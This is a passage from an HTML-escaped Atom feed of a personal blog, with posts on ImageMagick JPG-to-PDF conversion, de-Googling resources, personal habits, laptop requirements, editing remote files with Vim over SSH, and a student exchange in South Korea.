&lt;span class="cm"&gt;&amp;lt;policy domain=&amp;quot;coder&amp;quot; rights=&amp;quot;none&amp;quot; pattern=&amp;quot;EPS&amp;quot; /&amp;gt;&lt;/span&gt;
&lt;span class="cm"&gt;&amp;lt;policy domain=&amp;quot;coder&amp;quot; rights=&amp;quot;none&amp;quot; pattern=&amp;quot;PDF&amp;quot; /&amp;gt;&lt;/span&gt;
&lt;span class="cm"&gt;&amp;lt;policy domain=&amp;quot;coder&amp;quot; rights=&amp;quot;none&amp;quot; pattern=&amp;quot;XPS&amp;quot; /&amp;gt; --&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;convert image1.jpg image2.jpg output.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="set-the-pdf-size-to-a4-210-x-297-mm"&gt;Set the PDF size to A4 (210 x 297 mm)&lt;/h2&gt;
&lt;p&gt;Make sure your image has a resolution of 1050x1485 pixels. Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;convert input.jpg -density &lt;span class="m"&gt;50&lt;/span&gt; -units pixelspercentimeter output.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Or, for a 2100x2970 pixel image:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;convert input.jpg -density &lt;span class="m"&gt;100&lt;/span&gt; -units pixelspercentimeter output.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If the image is of a different resolution, use this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; f &lt;span class="k"&gt;in&lt;/span&gt; *.jpg&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; convert &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; -density &lt;span class="m"&gt;300&lt;/span&gt; -resize 2480x3508 -background white -gravity center -extent 2480x3508 &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;f&lt;/span&gt;&lt;span class="p"&gt;%.*&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;_300dpi.pdf&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c1"&gt;# Or, lower quality and file size&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; f &lt;span class="k"&gt;in&lt;/span&gt; *.jpg&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; convert &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; -density &lt;span class="m"&gt;72&lt;/span&gt; -resize 595x842 -background white -gravity center -extent 595x842 &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;f&lt;/span&gt;&lt;span class="p"&gt;%.*&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;_72dpi.pdf&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://legacy.imagemagick.org/discourse-server/viewtopic.php?t=33309"&gt;Source&lt;/a&gt;&lt;/p&gt;</content><category term="Linux"></category><category term="pdf"></category><category term="linux"></category></entry><entry><title>Google Independence</title><link href="https://romainpellerin.eu/google-independence.html" rel="alternate"></link><published>2016-12-05T03:00:00+01:00</published><updated>2021-01-09T18:24:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-12-05:/google-independence.html</id><summary type="html">&lt;p&gt;Resources to be Google-independent&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;&lt;a href="https://fsfe.org/campaigns/android/liberate.en.html"&gt;Liberate Your Device!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.replicant.us/"&gt;Replicant: a fully free Android distribution running on several devices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owncloud.org/"&gt;ownCloud: files, calendar and contacts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nextcloud.com/"&gt;Nextcloud&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/WebDAV"&gt;WebDAV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/CalDAV"&gt;CalDAV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/CardDAV"&gt;CardDAV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://workaround.org/article/moving-contacts-and-calendar-entries-from-google-to-owncloud/"&gt;Moving contacts and calendar entries from Google to OwnCloud&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://play.google.com/store/apps/details?id=at.bitfire.davdroid&amp;amp;hl=en"&gt;DAVdroid – CalDAV/CardDAV Sync (open source)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nomoregoogle.com/"&gt;No More Google&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kevq.uk/category/de-googling/"&gt;De-Googling Archives - Kev Quirk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://e.foundation/"&gt;/e/ - your data is YOUR data&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://peertube.social/"&gt;peertube.social&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://defn.io/2019/02/04/bye-bye-google/"&gt;Bye, Bye, Google&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://grisebouille.net/allergie-au-google-home/"&gt;Allergie au Google Home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.camilleroux.com/2019/05/15/au-revoir-google/"&gt;Au revoir Google&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.camilleroux.com/2019/05/21/comment-jai-quitte-gmail/"&gt;Comment j’ai quitté Gmail&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securitycheckli.st/"&gt;Be safe on the internet.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://spreadprivacy.com/how-to-remove-google/"&gt;How to Live Without Google&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://degooglisons-internet.org/fr/alternatives/"&gt;Dégooglisons Internet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://iampox.com/blog/comment-se-debarrasser-de-google"&gt;Comment se débarrasser de Google&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gnu.org/proprietary/malware-google.en.html"&gt;Google's Software is Malware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://kiramclean.com/blog/what-i-use-now-instead-of-google/"&gt;What I Use Now Instead Of Google&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="What's bad about"></category><category term="android"></category><category term="google"></category><category term="open-source"></category><category term="free"></category></entry><entry><title>Fixing My Life</title><link href="https://romainpellerin.eu/fixing-my-life.html" rel="alternate"></link><published>2016-11-05T19:20:00+01:00</published><updated>2023-10-01T03:08:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-11-05:/fixing-my-life.html</id><summary type="html">&lt;p&gt;How I fixed my life&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have spent the last few months trying to "fix my life". To put it differently, I tried to identify what was wrong and how I could improve my life in general. Although in good shape and healthy, I wanted to be more energetic. Likewise, I had a few bad habits that I wanted to get rid of. Let's go through them:&lt;/p&gt;
&lt;h1 id="health"&gt;Health&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Quit smoking&lt;/strong&gt;: that was definitely the hardest. In total, I'd say it took me several months.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exercice at least 30mins per day&lt;/strong&gt;: not always doable. At KAIST, I am fortunate enough to have a gym right next to my dorm.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Eat healthy food in moderate quantities (not too much, not too little)&lt;/strong&gt;: not easily doable at KAIST. Ultimately, I'd like to become &lt;strong&gt;&lt;a href="https://www.youtube.com/watch?v=KriTQ0aTrtw"&gt;a vegetarian&lt;/a&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stop using electronic devices at least 1 hour before going to sleep&lt;/strong&gt;: this is important in order to sleep well. Screens are known to prevent you from falling asleep.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Every hour of sitting, stand up for a few minutes&lt;/strong&gt;: &lt;a href="http://www.everythingsouthcity.com/wp-content/uploads/2014/01/Sitting-page-001.jpg"&gt;more info&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="culture"&gt;Culture&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Read books (novels) in English&lt;/strong&gt;: I am reading "Animal Farm" at the time being.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Keep learning English on a regular basis&lt;/strong&gt;: the book "The Elements of Style" is on my nightstand.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Write in English&lt;/strong&gt;: that's what I do with this blog.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="lifestyle"&gt;Lifestyle&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Owning as few things as possible. Ideally my whole life would fit in two suitcases.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=_INOPfPdhB4"&gt;Anti-consumerism&lt;/a&gt;. It is a mindset I adopted a while ago.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="other"&gt;Other&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Check Twitter two times a day tops&lt;/strong&gt;: that one is pretty hard, I am still struggling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Go to bed before 2am&lt;/strong&gt;: same. At some point in the future, being a morning person?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Furthermore, I also started learning about topics that are not related to my skills whatsoever, such as politics, the environment, green energies, etc. I would recommend these videos as a good starting point:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=90CkXVF-Q8M"&gt;Before the Flood&lt;/a&gt;: &lt;em&gt;Join Leonardo DiCaprio as he explores the topic of climate change, and discovers what must be done today to prevent catastrophic disruption of life on our planet.&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=ZoGH7d51bvc"&gt;Réformons l'élection présidentielle (FR)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.demain-lefilm.com/en/film"&gt;Demain&lt;/a&gt;: &lt;em&gt;Climate is changing. Instead of showing all the worst that can happen, this documentary focuses on the people suggesting solutions and their actions.&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Moreover, I recently found that &lt;a href="http://www.inc.com/marcel-schwantes/a-23-minute-morning-ritual-that-will-transform-your-whole-day.html"&gt;interesting article&lt;/a&gt; which suggests "&lt;em&gt;A 23-Minute Morning Ritual That Will Transform Your Whole Day&lt;/em&gt;". I am still working on it... Essentially, it gives 5 things to do in the morning:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Write down three acts of gratitude (2 minutes)&lt;/li&gt;
&lt;li&gt;Journal one positive experience you've had during the past 24 hours (2 minutes)&lt;/li&gt;
&lt;li&gt;Exercise (15 minutes)&lt;/li&gt;
&lt;li&gt;Meditation (2 minutes)&lt;/li&gt;
&lt;li&gt;Express kindness through a text or email (2 minutes)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Last but not least, here are my &lt;strong&gt;New Year's Resolutions for 2017&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Read more&lt;/li&gt;
&lt;li&gt;Play another musical instrument&lt;/li&gt;
&lt;li&gt;Learn Dutch and Spanish&lt;/li&gt;
&lt;li&gt;Learn how to dance Rock and Roll or salsa or swing.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="further-reading"&gt;Further reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.bradfieldcs.com/in-2017-learn-every-language-59b11f68eee"&gt;In 2017, learn every language&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mobile.nytimes.com/2016/12/31/opinion/sunday/how-to-become-a-superager.html"&gt;How to Become a ‘Superager’&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theguardian.com/technology/2016/feb/11/smartphone-technology-addiction-facebook-twitter"&gt;How I quit my smartphone addiction and really started living&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="update-2023-10-01"&gt;UPDATE: 2023-10-01&lt;/h1&gt;
&lt;p&gt;I was just randomly scrolling through past articles on my blog when I stumbled upon this one. I thought this deserved an update, 6 years later! Let's go through all the bullet points I had listed back then and try to see what happened with each.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Quit smoking&lt;/strong&gt;: I must admit this was kind of a lie. When I wrote this I was in South Korea. I had greatly reduced how much I smoked but I would not say I had completely stopped. I remember smoking a couple of times in nightclubs there. Also, the following year (2017), I started smoking again while in San Francisco. I remember my own deception after so many months without smoking. Anyways. My very last cigarette drag was in July or August 2019. Since then, not a single one. :)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exercice at least 30mins per day&lt;/strong&gt;: if my 30-minute times two bike commute and my daily walks in the park nearby count towards it, then I definitely hit that! If not, then I'm very close, and my weekly exercise time is way above 4 hours anyways, thanks to regular long bike rides on the weekend.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Eat healthy food in moderate quantities (not too much, not too little)&lt;/strong&gt;: hell yeah, this has become second nature since &lt;a href="https://romainpellerin.eu/cycling-and-being-vegetarian.html"&gt;a couple&lt;/a&gt; &lt;a href="https://romainpellerin.eu/objectif-75-kg-et-toucher-le-sol.html"&gt;of months now&lt;/a&gt;. Hopefully it'll stick long time. Back in 2016 I mentioned that I wanted to become vegetarian ultimately... This happened end of 2018 and I am still vegetarian to this day. No reason to change that.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stop using electronic devices at least 1 hour before going to sleep&lt;/strong&gt;: that one never worked. On my phone till the very last minute.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Every hour of sitting, stand up for a few minutes&lt;/strong&gt;: whenever I'm in the office, yeah I totally do that. At home it depends on how focused on some task I am, but I mostly do it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read books (novels) in English&lt;/strong&gt;: huge hiatus from the end of 2019 until 2 months ago, when I started reading Hyperion.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Keep learning English on a regular basis&lt;/strong&gt;: not at all. I guess my current level is more than enough. On the flipside, I'm considering learning German further and aim for the B2 level (my current level is A2/B1).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Write in English&lt;/strong&gt;: every single day, at work, texting friends, on this blog, etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Owning as few things as possible. Ideally my whole life would fit in two suitcases&lt;/strong&gt;: the 2 suitcases thingy... yeahhhh no. Can't happen. Won't happen. But I'm still trying to only own stuff than I truly need. Like I never buy clothes or shoes, I think I already have enough for the next 10 years. Not that I have so many, but who needs more than 3 pairs of jeans, or 20 t-shirts?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anti-consumerism&lt;/strong&gt;: yup, still valid, that's me. Only buy what you need. I favor second hand as much as possible, except for things I know I will keep for life or whose lifespan isn't so long.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check Twitter two times a day tops&lt;/strong&gt;: &lt;a href="https://romainpellerin.eu/twitter-we-are-breaking-up.html"&gt;I broke up with Twitter 🎉&lt;/a&gt;. Now I'm struggling with Youtube. I spend way too much time watching random shit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Go to bed before 2am&lt;/strong&gt;: am I ever gonna learn?! Overall there has been improvement. I'm usually in bed before 1am, now targeting midnight.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let's check out my &lt;strong&gt;New Year's Resolutions for 2017&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Read more: failed, at best I maintained the same level.&lt;/li&gt;
&lt;li&gt;Play another musical instrument: major failure. I did buy a ukulele in 2018 though 😂&lt;/li&gt;
&lt;li&gt;Learn Dutch and Spanish: not even tried. Did I mention German? 😅&lt;/li&gt;
&lt;li&gt;Learn how to dance Rock and Roll or salsa or swing: some day, some day...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ha ha that was funny, looking back at the old me from 2016 and my life goals. What would I add today? Probably more stretching, more weight lifting, at least more frequently. Going to bed earlier, rising earlier? And more German of course! Meet me here in a few years for an update. 😉&lt;/p&gt;</content><category term="About me"></category><category term="life"></category></entry><entry><title>My Dream Laptop</title><link href="https://romainpellerin.eu/my-dream-laptop.html" rel="alternate"></link><published>2016-11-04T01:50:00+01:00</published><updated>2018-07-30T22:42:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-11-04:/my-dream-laptop.html</id><summary type="html">&lt;p&gt;The specs of my dream laptop&lt;/p&gt;</summary><content type="html">&lt;p&gt;I am writing this here for posterity. All suggestions are welcome. I will definitely update this article as my requirements change.&lt;/p&gt;
&lt;h1 id="must-have"&gt;Must have&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Screen&lt;/strong&gt;: 14 to 15"&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CPU&lt;/strong&gt;: Intel i5 or i7 (6th or 7th generation)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RAM&lt;/strong&gt;: 8GB or more&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSD&lt;/strong&gt;: 256GB or more&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ports&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;USB-C port&lt;/strong&gt;: 1 at least&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Video port&lt;/strong&gt;: 1 at least (HDMI preferably)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Debian-compatible&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Battery&lt;/strong&gt;: must last for 5 hours at least&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A webcam&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Headphone jack&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lightweight&lt;/strong&gt;: less than 2.5kg&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="optional-but-appreciated"&gt;Optional but appreciated&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Charging over USB-C port&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="not-required-i-dont-mind-having-these-features-or-not"&gt;Not required (I don't mind having these features or not)&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Touch screen&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CD/DVD drive&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="i-dont-want"&gt;I DON'T WANT&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;A numeric keypad&lt;/li&gt;
&lt;li&gt;A MacBook&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="laptops-i-considered-buying-at-some-point-in-2017"&gt;Laptops I considered buying at some point in 2017...&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Dell 7480&lt;/li&gt;
&lt;li&gt;Dell XPS 15 (although the screen is 15.6")&lt;/li&gt;
&lt;li&gt;Lenovo ThinkPad T470&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Turned out I bought the Dell 7480.&lt;/p&gt;
&lt;h1 id="links"&gt;Links&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://medium.com/broken-window/my-search-for-a-macbook-pro-alternative-e549ea2b2dee"&gt;My search for a MacBook Pro alternative&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stallman.org/intel.html"&gt;Reasons not to use Intel&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="a-word-on-lenovo"&gt;A word on Lenovo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mobile.twitter.com/todayininfosec/status/1023059171220979715"&gt;2013: Intelligence sources disclosed that...&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theverge.com/2013/7/30/4570780/lenovo-reportedly-banned-by-mi6-cia-over-chinese-hacking-fears"&gt;Lenovo reportedly banned by MI6, CIA, and other spy agencies over fear of Chinese hacking (update)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.geek.com/chips/spy-agencies-shun-lenovo-finding-backdoors-built-into-the-hardware-1563801/"&gt;Spy agencies shun Lenovo, finding backdoors built into the hardware (Updated)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="About me"></category><category term="computer"></category><category term="laptop"></category></entry><entry><title>Using Vim with SSH</title><link href="https://romainpellerin.eu/using-vim-with-ssh.html" rel="alternate"></link><published>2016-10-19T03:35:00+02:00</published><updated>2017-01-18T01:50:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-10-19:/using-vim-with-ssh.html</id><summary type="html">&lt;p&gt;How to edit and compile files on a remote server&lt;/p&gt;</summary><content type="html">&lt;p&gt;I recently faced quite a challenging problem. I had to write C++ code and compile it on a remote server. Why would I need to compile on a remote server? Well, first my laptop is not very powerful and compiling takes some time, in comparison to the server which proved to be much faster. Moreover, my code was supposed to compile on the server "out of the box", as it was meant to be executed and tested there. Hence, no dependencies, no customized environmnent, and so forth.&lt;/p&gt;
&lt;p&gt;Anyway, I then started looking for a way to use Vim over SSH effectively, without having to switch between terminals to compile. What's more, I wanted it to be as fast as possible. After asking for help on &lt;a href="http://unix.stackexchange.com/questions/315844/editing-and-compiling-files-on-a-remote-server-with-vim/315846"&gt;StackOverflow&lt;/a&gt;, I got a very helpful answer. I finally came up with the following solution. Let's get started!&lt;/p&gt;
&lt;h1 id="ssh"&gt;SSH&lt;/h1&gt;
&lt;p&gt;First, edit &lt;code&gt;~/.ssh/config&lt;/code&gt; and add your remote host.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Host my_server
  Hostname &amp;lt;server&amp;gt;
  User &amp;lt;user&amp;gt;
  IdentityFile ~/.ssh/id_rsa
    ControlMaster auto
    ControlPath ~/.ssh/%C
    &lt;span class="c1"&gt;# ControlPath ~/.ssh/cm_socket/%r@%h:%p&lt;/span&gt;
    ControlPersist yes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, enable &lt;em&gt;pubkey&lt;/em&gt; authentication using &lt;code&gt;ssh-copy-id -i ~/.ssh/id_rsa.pub user@server&lt;/code&gt;. You should now be able to connect using &lt;code&gt;ssh my_server&lt;/code&gt;. This will establish a permanent connection. As an example, simply open another terminal and try to connect to that server, you'll notice how fast it is this time!&lt;/p&gt;
&lt;p&gt;Later, you'll be able to disconnect from the server using &lt;code&gt;ssh -O exit my_server&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id="tmux"&gt;Tmux&lt;/h1&gt;
&lt;p&gt;Tmux is obviously a must-have and is thus already installed.&lt;/p&gt;
&lt;h1 id="vim"&gt;Vim&lt;/h1&gt;
&lt;h2 id="prerequisite"&gt;Prerequisite&lt;/h2&gt;
&lt;p&gt;Before starting editing files, you definitely want your Vim to be smart. Hence we'll use the plugin &lt;a href="https://github.com/tpope/vim-dispatch"&gt;vim-dispatch&lt;/a&gt;, which allows use to run the command &lt;code&gt;:make&lt;/code&gt; asynchronously from Vim, in another Tmux pane (the new command introduced by this plugin is &lt;code&gt;:Make&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="editing-and-compiling"&gt;Editing and compiling&lt;/h2&gt;
&lt;p&gt;Once you're connected over SSH, let's edit files on the server using Vim. Let's go!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;vim sftp://my_server//home/whoever/main.cpp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, in Vim, type the following commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# The next two lines have the same effect,&lt;/span&gt;
&lt;span class="c1"&gt;# except that the first one needs spaces to be escaped&lt;/span&gt;
:set &lt;span class="nv"&gt;makeprg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ssh&lt;span class="se"&gt;\ &lt;/span&gt;my_server&lt;span class="se"&gt;\ &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;make &amp;amp;&amp;amp; ./main &amp;amp;&amp;amp; exit&amp;#39;&lt;/span&gt;
:let &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;makeprg&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ssh my_server &amp;#39;make &amp;amp;&amp;amp; ./main &amp;amp;&amp;amp; exit&amp;#39;&amp;quot;&lt;/span&gt;
:map &amp;lt;f10&amp;gt; :Copen&amp;lt;cr&amp;gt;G
:map &amp;lt;f9&amp;gt; :update&amp;lt;cr&amp;gt;:Make&amp;lt;cr&amp;gt;
:map &amp;lt;f12&amp;gt; :cclose&amp;lt;cr&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The last three commands are just shortcuts meant to make the world a better place... or just developers happier.&lt;/p&gt;
&lt;p&gt;That's it! I hope it was helpful.&lt;/p&gt;</content><category term="Linux"></category><category term="ssh"></category><category term="vim"></category><category term="terminal"></category><category term="vi"></category></entry><entry><title>South Korea</title><link href="https://romainpellerin.eu/south-korea.html" rel="alternate"></link><published>2016-09-14T00:35:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-09-14:/south-korea.html</id><summary type="html">&lt;p&gt;My exchange program in South Korea&lt;/p&gt;</summary><content type="html">&lt;h1 id="update-january-12-2017"&gt;&lt;em&gt;Update January 12, 2017&lt;/em&gt;&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;During my stay in South Korea, we also went to Busan (we slept at &lt;a href="http://www.kimcheeguesthouse.com/busan"&gt;Kimchee Guesthouse&lt;/a&gt; which I highly recommend). There, we went hiking in the mountain to reach Seokbulsa Temple. We also went to beaches, namely Gwangalli and Songjeong. At the end of the semester, we went back to Seoul and had a chance to visit Gangnam. In addition, we went see the gigantic and impressive Lotte World Tower, the tallest building in OECD and the 5th tallest building in the world.&lt;/em&gt;&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/lR4kRSw062Q?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/south-korea/changgyeonggung.jpg" alt="Changgyeonggung" /&gt;
&lt;figcaption&gt;The Changgyeonggung palace.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I was given the opportunity to go abroad do an exchange program, during the 2016 Fall semester. My destination? South Korea! My school there? Apparently one of the best of the country, &lt;a href="http://www.kaist.ac.kr/html/en/"&gt;KAIST&lt;/a&gt;, in Daejeon. It had no idea about its ranking back when I applied for this school.&lt;/p&gt;
&lt;h1 id="seoul"&gt;Seoul&lt;/h1&gt;
&lt;p&gt;In August 2016, I landed in Seoul. With other people from my French school we spent a week there, mostly visiting and discovering the Korean culture. Our guesthouse was located in a great neighborhood called Hongdae. Very lively area!&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img src="https://romainpellerin.eu/images/south-korea/n-tower1.jpg" alt="View from the N Tower" /&gt;&lt;figcaption&gt;Views from the N-tower (pictures above and below).&lt;/figcaption&gt;&lt;/figure&gt;
&lt;figure class="center"&gt;&lt;img alt="Another view from the N Tower" src="https://romainpellerin.eu/images/south-korea/n-tower2.jpg" /&gt;&lt;/figure&gt;
